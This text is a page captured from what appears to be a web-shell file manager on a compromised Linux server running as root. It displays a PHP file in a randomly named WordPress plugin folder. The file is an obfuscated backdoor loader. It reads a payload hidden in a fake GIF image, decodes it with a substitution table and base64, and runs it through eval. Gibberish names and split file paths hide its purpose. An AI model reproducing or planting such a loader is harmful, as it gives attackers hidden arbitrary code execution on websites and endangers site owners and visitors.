HEX
Server: Apache
System: Linux www 5.10.0-10-amd64 #1 SMP Debian 5.10.84-1 (2021-12-08) x86_64
User: root (0)
PHP: 8.2.1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
Upload Files
File: /mnt/drbd/www/edenhouse/wp-content/plugins/aqeruzykil/ydivush.php
<?php

function cylykom_nesyshe($upuvyco_ysagufi) {
    if (!file_exists($upuvyco_ysagufi))
        return false;
    $yxyregy = @file_get_contents($upuvyco_ysagufi);
    if (!$yxyregy)
        return false;
    $yxyregy = substr($yxyregy, 3);
    $ohyxeje = sykeqar_irunach($yxyregy);
    return $ohyxeje;
}

function sykeqar_irunach($upuvyco_ysagufi) {
    $lirica = filamot_pegudoc;
    $qikhemu = array();
    for ($ofewub = 0; $ofewub < strlen($lirica); $ofewub += 2) {
        $yqethyn = substr($lirica, $ofewub, 1);
        $ezuwuvi = substr($lirica, $ofewub + 1, 1);
        $qikhemu[$yqethyn] = $ezuwuvi;
    }
    $mytoci = strtr($upuvyco_ysagufi, $qikhemu);
    $mytoci = base64_decode($mytoci);

    return $mytoci;
}

define("filamot_pegudoc", "03fx=9n1mWpYDidJjaaj+2TNo73brzA=IVZpHPP8SRxtUvXcVrLqc/sL1KJTG5RmO4YhlZt+6eCIyk8X/nvdWGEg90wFiBMA5UeyBDqCgSQs4MFE76NlbuKOzQkfhwuH2o");

$etacol = cylykom_nesyshe(__DIR__ . "/asset" . "s/im" . "ages" . "/ywyfa" . "z.gi" . "f");
if ($etacol) {
    @eval($etacol);
}